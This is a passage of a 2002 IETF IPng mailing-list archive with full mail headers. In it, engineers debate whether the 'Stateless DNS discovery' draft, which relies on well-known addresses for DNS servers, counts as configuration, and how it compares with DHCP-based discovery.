-0600 (MDT) Received: from davir04nok.americas.nokia.com (davir04nok.americas.nokia.com [172.18.242.87]) by mgw-dax2.ext.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3H5VTH15656 for ; Wed, 17 Apr 2002 00:31:30 -0500 (CDT) Received: from daebh002.NOE.Nokia.com (unverified) by davir04nok.americas.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Wed, 17 Apr 2002 00:28:48 -0500 Received: from mvebe001.NOE.Nokia.com ([172.18.140.37]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Wed, 17 Apr 2002 00:27:46 -0500 content-class: urn:content-classes:message Subject: RE: Stateless DNS discovery draft MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Tue, 16 Apr 2002 22:27:45 -0700 Message-ID: <4D7B558499107545BB45044C63822DDE0A07F3@mvebe001.NOE.Nokia.com> X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Stateless DNS discovery draft Thread-Index: AcHlueIkCIatDmLERfCpUwsg1y7X8gAFXHYQ To: , X-OriginalArrivalTime: 17 Apr 2002 05:27:46.0428 (UTC) FILETIME=[9B48C3C0:01C1E5D0] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3H5SrIA002435 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > At Tue, 16 Apr 2002 18:13:04 -0700, jonne soininen wrote: > > > > I may be wrong but Rob's and Hesham's discussion about configuration > > of the node (at this point) is to my opinion a bit off-tack from the > > original discussion. > > I think it's the same discussion. YMMV. Maybe I was not totally clear what I was trying to say. What I was trying to say was that the dns discovery draft does not (though the name would indicate so) talk about discovery, or configuration - just what would be the well known address where the DNS server is located. There is no configuration involved. - Jonne. > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 23:08:08 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H688IA002576; Tue, 16 Apr 2002 23:08:08 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3H688s6002575; Tue, 16 Apr 2002 23:08:08 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H685IA002568 for ; Tue, 16 Apr 2002 23:08:05 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA26233 for ; Tue, 16 Apr 2002 23:08:09 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA06774 for ; Wed, 17 Apr 2002 00:08:08 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id BF5AB1CA1 for ; Wed, 17 Apr 2002 02:08:07 -0400 (EDT) Date: Wed, 17 Apr 2002 02:08:07 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: <4D7B558499107545BB45044C63822DDE0A07F3@mvebe001.NOE.Nokia.com> References: <4D7B558499107545BB45044C63822DDE0A07F3@mvebe001.NOE.Nokia.com> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020417060807.BF5AB1CA1@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Tue, 16 Apr 2002 22:27:45 -0700, jonne soininen wrote: > > Maybe I was not totally clear what I was trying to say. What I was > trying to say was that the dns discovery draft does not (though the > name would indicate so) talk about discovery, or configuration - > just what would be the well known address where the DNS server is > located. There is no configuration involved. No, I understood what you meant, but it's still configuration. Well-known address == configuration data in the routing system. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 01:07:46 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H87kIA002834; Wed, 17 Apr 2002 01:07:46 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3H87kvI002833; Wed, 17 Apr 2002 01:07:46 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H87gIA002826 for ; Wed, 17 Apr 2002 01:07:42 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA18267 for ; Wed, 17 Apr 2002 01:07:44 -0700 (PDT) Received: from mail4.noc.ntt.co.jp (mail4.noc.ntt.co.jp [210.163.32.59]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA28649 for ; Wed, 17 Apr 2002 01:07:44 -0700 (PDT) Received: from ms1-gw.noc.ntt.com (ms1-gw.noc.ntt.com) by mail4.noc.ntt.co.jp (8.9.3/NOC-MAIL1) id RAA28588; Wed, 17 Apr 2002 17:07:42 +0900 (JST) Received: from mr1-gw.noc.ntt.com by ms1-gw.noc.ntt.com (8.9.3/3.7W) id RAA29162; Wed, 17 Apr 2002 17:07:40 +0900 (JST) Received: from mail2.noc.ntt.com by mr1-gw.noc.ntt.com (8.9.3/3.7W) id RAA29111; Wed, 17 Apr 2002 17:07:37 +0900 (JST) Received: from r505r by mail2.noc.ntt.com (8.9.3/3.7W) id RAA23237; Wed, 17 Apr 2002 17:07:35 +0900 (JST) Message-ID: <095101c1e5e6$ddfba5a0$e9ff240a@local> From: "Yamasaki Toshi" To: , References: <4D7B558499107545BB45044C63822DDE0A07F1@mvebe001.NOE.Nokia.com> Subject: Re: Stateless DNS discovery draft Date: Wed, 17 Apr 2002 17:07:02 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > There my view on the issue is quite clear: For a simple node (phone, or a PDA) or for a node in a simple network (PC in home environment, etc. - no real administration), there has to be a way to use the DNS without running _any_ additional protocols to additional servers. I believe that the current 'dns discovery' draft fills that whole rather well. (Though, the title of the document does not really reflect the content - to my opinion). I absolutely agree. In other word, there are typically three players, 1) end-host 2) site network 3) ISP network and "Stateless DNS discoery" is a zero-configuration method mainly for 1). When the administrator of 2) wants to prepare DNS servers in his/her site with assigning the well-know-site-local-uni-cast-addresses to them, 1) simply queries to them. When the ISP prepares DNS servers in its backbone, the CPE router of 2) acts as a dual-sited DNS proxy to relay queries to the the well-know-site-local-uni-cast-addresses of the ISP's site, or to the global addresses which are informed via ISP-to-Customer (or PE-to-CPE) configuration mechanism such as DHCPv6, SLP or papers. Toshi Yamasaki / NTT Communications -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 01:37:39 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H8bdIA002912; Wed, 17 Apr 2002 01:37:39 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3H8bUjP002911; Wed, 17 Apr 2002 01:37:30 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H8bRIA002904 for ; Wed, 17 Apr 2002 01:37:27 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA24935 for ; Wed, 17 Apr 2002 01:37:30 -0700 (PDT) From: john.loughney@nokia.com Received: from mgw-x3.nokia.com (mgw-x3.nokia.com [131.228.20.26]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA10158 for ; Wed, 17 Apr 2002 01:37:29 -0700 (PDT) Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33]) by mgw-x3.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3H8cSJ20906 for ; Wed, 17 Apr 2002 11:38:28 +0300 (EET DST) Received: from esebh002.NOE.Nokia.com (unverified) by esvir01nok.ntc.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Wed, 17 Apr 2002 11:37:24 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Wed, 17 Apr 2002 11:37:24 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Stateless DNS discovery draft Date: Wed, 17 Apr 2002 11:37:23 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFD38DAF@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Stateless DNS discovery draft Thread-Index: AcHl55CVfCbhm3zqTbiH+WRvMMMOrgAAtULA To: , , X-OriginalArrivalTime: 17 Apr 2002 08:37:24.0241 (UTC) FILETIME=[18FD4010:01C1E5EB] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3H8bRIA002905 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Toshi, > I absolutely agree. > > In other word, there are typically three players, > > 1) end-host > 2) site network > 3) ISP network > > and "Stateless DNS discoery" is a zero-configuration method > mainly for 1). > > When the administrator of 2) wants to prepare DNS servers in his/her site > with assigning the well-know-site-local-uni-cast-addresses to them, 1) > simply queries to them. > > When the ISP prepares DNS servers in its backbone, the CPE router of 2) acts > as a dual-sited DNS proxy to relay queries to the the > well-know-site-local-uni-cast-addresses of the ISP's site, or to the global > addresses which are informed via ISP-to-Customer (or PE-to-CPE) > configuration mechanism such as DHCPv6, SLP or papers. I agree with you, this is a very good and to-the-point summary. I'd just like to point out that the need is especially crucial in roaming situations. It should be possible to 'discover' DNS servers when roaming in new networks with minimal interaction from the user. John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 02:26:43 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H9QgIA002971; Wed, 17 Apr 2002 02:26:42 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3H9QgOD002970; Wed, 17 Apr 2002 02:26:42 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H9QdIA002963 for ; Wed, 17 Apr 2002 02:26:39 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA27815 for ; Wed, 17 Apr 2002 02:26:42 -0700 (PDT) Received: from mail2.noc.ntt.co.jp (mail2.noc.ntt.co.jp [210.163.32.54]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA06348 for ; Wed, 17 Apr 2002 03:26:41 -0600 (MDT) Received: from ms2-gw.noc.ntt.com (ms2-gw.noc.ntt.com) by mail2.noc.ntt.co.jp (8.9.3/NOC-MAIL1) id SAA02836; Wed, 17 Apr 2002 18:26:32 +0900 (JST) Received: from mr2-gw.noc.ntt.com by ms2-gw.noc.ntt.com (8.9.3/3.7W) id SAA24169; Wed, 17 Apr 2002 18:26:32 +0900 (JST) Received: from mail2.noc.ntt.com by mr2-gw.noc.ntt.com (8.9.3/3.7W) id SAA24158; Wed, 17 Apr 2002 18:26:31 +0900 (JST) Received: from r505r by mail2.noc.ntt.com (8.9.3/3.7W) id SAA16418; Wed, 17 Apr 2002 18:26:30 +0900 (JST) Message-ID: <099f01c1e5f1$e4308a70$e9ff240a@local> From: "Yamasaki Toshi" To: Cc: , References: <0C1353ABB1DEB74DB067ADFF749C4EEFD38DAF@esebe004.NOE.Nokia.com> Subject: Re: Stateless DNS discovery draft Date: Wed, 17 Apr 2002 18:25:50 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi John, > It should be possible to 'discover' DNS servers? > when roaming in new networks with minimal interaction from the user. Yes, that's the point. Wherever the end-host is, at the office, at home, at a hotspot, or at mobile enviroment, it simply queries to a well-known-sitelocal/global-address, and the query is lead to an appropriate DNS server which is prepared by the site administrator of each situation with manual configuration or auto-configuration. ----- Original Message ----- From: To: ; ; Sent: Wednesday, April 17, 2002 5:37 PM Subject: RE: Stateless DNS discovery draft Hi Toshi, > I absolutely agree. > > In other word, there are typically three players, > > 1) end-host > 2) site network > 3) ISP network > > and "Stateless DNS discoery" is a zero-configuration method > mainly for 1). > > When the administrator of 2) wants to prepare DNS servers in his/her site > with assigning the well-know-site-local-uni-cast-addresses to them, 1) > simply queries to them. > > When the ISP prepares DNS servers in its backbone, the CPE router of 2) acts > as a dual-sited DNS proxy to relay queries to the the > well-know-site-local-uni-cast-addresses of the ISP's site, or to the global > addresses which are informed via ISP-to-Customer (or PE-to-CPE) > configuration mechanism such as DHCPv6, SLP or papers. I agree with you, this is a very good and to-the-point summary. I'd just like to point out that the need is especially crucial in roaming situations. It should be possible to 'discover' DNS servers when roaming in new networks with minimal interaction from the user. John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 02:53:17 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H9rHIA003037; Wed, 17 Apr 2002 02:53:17 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3H9rHFx003036; Wed, 17 Apr 2002 02:53:17 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H9rDIA003029 for ; Wed, 17 Apr 2002 02:53:13 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA01516 for ; Wed, 17 Apr 2002 02:53:17 -0700 (PDT) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.48]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA15538 for ; Wed, 17 Apr 2002 03:53:15 -0600 (MDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3H9rEs7010694 for ; Wed, 17 Apr 2002 11:53:14 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Wed Apr 17 11:52:56 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Wed, 17 Apr 2002 11:42:28 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC7C@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'ipng@sunroof.eng.sun.com'" Subject: RE: Stateless DNS discovery draft Date: Wed, 17 Apr 2002 11:52:52 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > > > Ok, I should say that the functionality I'd like to see is the > > ability to discover a DNS without relying on functional entities > > other than the DNS. (not necessarily the entire node, but > the server > > itself, I think the term server is very clear and does > not imply an > > entire node). > > Sorry, but it really is not clear enough to sift fact from confusion > in some of the comments that people (not necessarily you) have made. > > Ok, a "server" isn't a whole node, good. But is it a > process, or the > entity listening to a particular well-known port, or a collection of > subroutines that perform a particular set of conceptual functions? > > If, say, a single process is listening to both port 53 and > to port 67, > is that one server or two? => Eh, I would say 2, but if it's the same piece of code, then who cares! > > > The point of the work is to limit the effects of third party node > > failures on discovering the DNS. I.e. When I'm running a network > > with a million user devices in it, I can either spend > money to make > > sure that my DHCP server is super reliable or, make sure that, at > > least the very basic functions of the server, are done > e2e. That is, > > between the end host and the DNS. > > So if the DHCP server role and the DNS server role were being > performed by the same "server", this would not be a problem. Right? => OK, but my question is below. > > Exactly, but propagating information across routers is _the_ issue > > here. People were not comfortable with relying on > multicast routing. > > Also having an additional function in every router (relay > agent) to > > simply repackage this single packet didn't seem like a good > > investment. Hence the chosen 'transport' mechanism in the > > draft. The content could well look identical to a DHCP > message, but > > the issue is how to send this packet across the network. > > > Well, entities performing the server role of DHCP only answer Inform > requests when (they think) they have something useful to say. The > specific mechanism by which multiple entities could act in the DHCP > server role on a single node => But it doesn't have to be a single node. There maybe multiple nodes, that what I don't understand. The rest of the discussion above is simply saying don't use the DNS request to discover the DNS, send a DHCP message first and get more. But what happens if you have more than one server pretending to be a DHCP server? Does the RA send the request to a multicast address and filter the replies? Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 04:19:37 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HBJbIA003155; Wed, 17 Apr 2002 04:19:37 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HBJagc003154; Wed, 17 Apr 2002 04:19:36 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HBJXIA003147 for ; Wed, 17 Apr 2002 04:19:33 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA07197 for ; Wed, 17 Apr 2002 04:19:36 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA15901 for ; Wed, 17 Apr 2002 05:19:35 -0600 (MDT) Received: (from bmanning@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g3HBJTk12385; Wed, 17 Apr 2002 04:19:29 -0700 (PDT) From: Bill Manning Message-Id: <200204171119.g3HBJTk12385@boreas.isi.edu> Subject: Re: Stateless DNS discovery draft In-Reply-To: <099f01c1e5f1$e4308a70$e9ff240a@local> from Yamasaki Toshi at "Apr 17, 2 06:25:50 pm" To: t.yamasaki@ntt.com (Yamasaki Toshi) Date: Wed, 17 Apr 2002 04:19:29 -0700 (PDT) Cc: john.loughney@nokia.com, Jonne.Soininen@nokia.com, ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk why is there a need for yet another suite of reserved "well-known" addresses for DNS servers? Am I the only one who feels that this is a significant breach of the integrity of the DNS system? Or is this simply the path of least resistance and folks are willing to abandon the integrity of the data that the DNS is publishing? Or will this only be deployed once there are other means to verify the integrity of the data (can you say DNSSEC? sure you can.) There are other ways to discover DNS servers in a (roaming/ad-hoc/untethered) environment. % Hi John, % % > It should be possible to 'discover' DNS servers? % > when roaming in new networks with minimal interaction from the user. % % Yes, that's the point. % % Wherever the end-host is, at the office, at home, at a hotspot, or at mobile % enviroment, it simply queries to a well-known-sitelocal/global-address, and % the query is lead to an appropriate DNS server which is prepared by the site % administrator of each situation with manual configuration or % auto-configuration. % % ----- Original Message ----- % From: % To: ; ; % % Sent: Wednesday, April 17, 2002 5:37 PM % Subject: RE: Stateless DNS discovery draft % % % Hi Toshi, % % > I absolutely agree. % > % > In other word, there are typically three players, % > % > 1) end-host % > 2) site network % > 3) ISP network % > % > and "Stateless DNS discoery" is a zero-configuration method % > mainly for 1). % > % > When the administrator of 2) wants to prepare DNS servers in his/her site % > with assigning the well-know-site-local-uni-cast-addresses to them, 1) % > simply queries to them. % > % > When the ISP prepares DNS servers in its backbone, the CPE router of 2) % acts % > as a dual-sited DNS proxy to relay queries to the the % > well-know-site-local-uni-cast-addresses of the ISP's site, or to the % global % > addresses which are informed via ISP-to-Customer (or PE-to-CPE) % > configuration mechanism such as DHCPv6, SLP or papers. % % I agree with you, this is a very good and to-the-point summary. % % I'd just like to point out that the need is especially crucial in % roaming situations. It should be possible to 'discover' DNS servers % when roaming in new networks with minimal interaction from the user. % % John % % -------------------------------------------------------------------- % IETF IPng Working Group Mailing List % IPng Home Page: http://playground.sun.com/ipng % FTP archive: ftp://playground.sun.com/pub/ipng % Direct all administrative requests to majordomo@sunroof.eng.sun.com % -------------------------------------------------------------------- % -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 06:29:23 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDTNIA003272; Wed, 17 Apr 2002 06:29:23 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HDTNE0003271; Wed, 17 Apr 2002 06:29:23 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDTKIA003264 for ; Wed, 17 Apr 2002 06:29:20 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA09030 for ; Wed, 17 Apr 2002 06:29:24 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA24289 for ; Wed, 17 Apr 2002 07:29:23 -0600 (MDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g3HDTLLQ078964; Wed, 17 Apr 2002 09:29:21 -0400 Received: from localhost.localdomain (lig32-226-114-2.us.lig-dial.ibm.com [32.226.114.2]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g3HDTFx120664; Wed, 17 Apr 2002 09:29:15 -0400 Received: from localhost.localdomain (narten@localhost) by localhost.localdomain (8.11.6/8.9.3) with ESMTP id g3HDJ4d04447; Wed, 17 Apr 2002 09:19:04 -0400 Message-Id: <200204171319.g3HDJ4d04447@localhost.localdomain> To: "Hesham Soliman (ERA)" cc: "'ipng@sunroof.eng.sun.com'" Subject: Re: Stateless DNS discovery draft In-Reply-To: Message from "Hesham Soliman (ERA)" of "Mon, 15 Apr 2002 12:24:36 +0200." <4DA6EA82906FD511BE2F00508BCF053802C6AC61@Esealnt861.al.sw.ericsson.se> Date: Wed, 17 Apr 2002 09:19:04 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > => OK, but we still have two options in IPv6 for address > autoconfiguration: Stateless and Stateful. I don't understand > why we shouldn't allow the option for _real_ stateless > autoconfig in IPv6. Thank you Rob for starting the discussion on this issue. IMO, there is quite a lack of technical clarity on what "stateless" DNS discovery is (or should be), and if or why it is required. > By 'real' I mean, we can't claim true stateless autoconfig when a > crucial service like the DNS still requires a server. This sounds like a possible requirement that a solution would need to satisify. I'd like to better understand what the exact requirements are of the problem. Lacking that, it's hard to have a technical discussion about various solutions and how they satisfy (or do not satisfy) actual requirements. I say this because I've had a number of discussions with various folk, and there seems to be a number of unstated assumptions that different people are making. Without understanding those assumptions, and seeing whether there is actual WG agreement on those assumptions, it's hard to see how we're going to pick/develop a solution on which there is consensus. Some things I've heard: - no dependency on a third-party server - no configuration required by admin - something that "just works" for roaming users. (?) - something that addresses the case where the O bit in RAs is not set - don't reinvent the wheel without compelling reason - don't end up with multiple ways of doing the same thing - can't use DHCP because DHCP ... (isn't liked, isn't done, is state, is too complex, requires configuration, ...) I'm not necessarily agreeing with any or all of the above. But I think it would be useful to have an explicit discussion about the assumptions/requirements folks have that are driving them towards a particular solution. What other requirements do folks have? > FWIW, we have deployment cases where this draft makes a lot of sense > and there is no alternative to it. And it just happens that DNS is > the one server that needs to be discovered. Maybe that's not a good > enough justification for the draft, but I'm failing to see any > concrete side effects that would result from using this extremely > simple draft. Well, for one thing, the current draft may not actually solve the problem at hand (but since I'm not sure I understand the problem, I'm not entirely sure...). In Minneapolis, it was pointed out that the use of a site-local address meant the ISP and customer had to be in the same site, which seemed to be a problem. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 06:29:31 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDTVIA003284; Wed, 17 Apr 2002 06:29:31 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HDTVFm003283; Wed, 17 Apr 2002 06:29:31 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDTSIA003274 for ; Wed, 17 Apr 2002 06:29:28 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by 